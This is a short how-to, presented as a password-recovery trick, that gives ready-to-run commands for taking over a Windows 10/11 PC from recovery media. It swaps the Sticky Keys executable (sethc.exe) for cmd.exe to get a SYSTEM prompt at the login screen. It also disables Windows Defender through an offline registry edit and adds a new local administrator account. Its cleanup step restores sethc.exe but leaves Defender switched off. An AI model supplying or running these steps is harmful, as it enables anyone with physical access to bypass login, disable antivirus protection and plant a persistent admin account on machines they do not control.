Add Local Admin Account using Windows Recovery
This trick should still be valid for most builds of Win10 and Win11 and will help you in gaining administrative access to a local PC should you happen to forget the default password.
Step 1: Create a Windows installation USB drive using the Windows media creation tool.
Note: Add the below lines of code to a .cmd file and store it on the root of your recovery flash drive for easy access.
Step 2: Boot to the recovery media and select repair this computer. Bring up a command prompt window and either type the below commands manually or browse to that .cmd script and execute it. Remember to omit typing the REM lines as they are just comments for clarification. Reboot the PC after executing these lines.
REM Copy the sticky keys exe to the root of the C: drive
copy c:\windows\system32\sethc.exe c:\
REM Copy the command prompt exe and rename to the sticky keys exe
copy /y c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe
REM Load up a temporary registry and disable windows defender
reg load HKLM\temp-hive c:\windows\system32\config\SOFTWARE
reg add "HKLM\temp-hive\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
REM unload the temp registry
reg unload HKLM\temp-hive
Step 3: Once the computer is booted up and you are back at the login screen press shift 5 times to bring up an administrative command prompt session. Execute the below commands to add a new user and add them to the admin group.
net user /add newUser newPassword
net localgroup administrators newUser /add
Step 4: Close the command prompt window and login. Remember to execute this command to copy the sticky keys exe back to its original location.
copy /y c:\sethc.exe c:\windows\system32\sethc.exe